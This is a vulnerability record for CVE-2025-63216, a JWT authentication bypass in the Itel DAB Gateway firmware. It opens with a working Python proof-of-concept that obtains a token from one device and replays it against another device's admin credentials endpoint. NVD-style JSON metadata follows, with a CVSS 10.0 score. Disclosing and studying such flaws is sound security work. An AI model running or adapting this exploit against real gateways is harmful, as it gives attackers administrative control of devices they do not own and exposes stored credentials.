CVE-2025-63216

import requests import json # Target device 1: Get valid JWT token target1 = "http://victim1-itel-dab.local/api/login" payload1 = {"username": "admin", "password": "any_password"} response1 = requests.post(target1, json=payload1) jwt_token = response1.json().get('token') # Target device 2: Use the same JWT token to bypass authentication target2 = "http://victim2-itel-dab.local/api/admin/credentials" headers = {"Authorization": f"Bearer {jwt_token}"} response2 = requests.get(target2, headers=headers) # If vulnerable, this will return admin access to device 2 print(f"Status: {response2.status_code}") print(f"Response: {response2.text}")

{"cve": {"id": "CVE-2025-63216", "sourceIdentifier": "[email protected]", "published": "2025-11-18T22:15:51.597", "lastModified": "2026-01-15T21:54:41.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Itel DAB Gateway (IDGat build c041640a) is vulnerable to Authentication Bypass due to improper JWT validation across devices. Attackers can reuse a valid JWT token obtained from one device to authenticate and gain administrative access to any other device running the same firmware, even if the passwords and networks are different. This allows full compromise of affected devices."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-384"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:itel:idgateway_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "30618467-A73C-43E6-94BB-E2285839C4AE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:itel:idgateway:-:*:*:*:*:*:*:*", "matchCriteriaId": "6BEFCB56-7415-4D21-9C3B-1BC434902E22"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63216_Itel%20DAB%20Gateway%20Authentication%20Bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}, {"url": "https://www.itel.it/", "source": "[email protected]", "tags": ["Product"]}]}}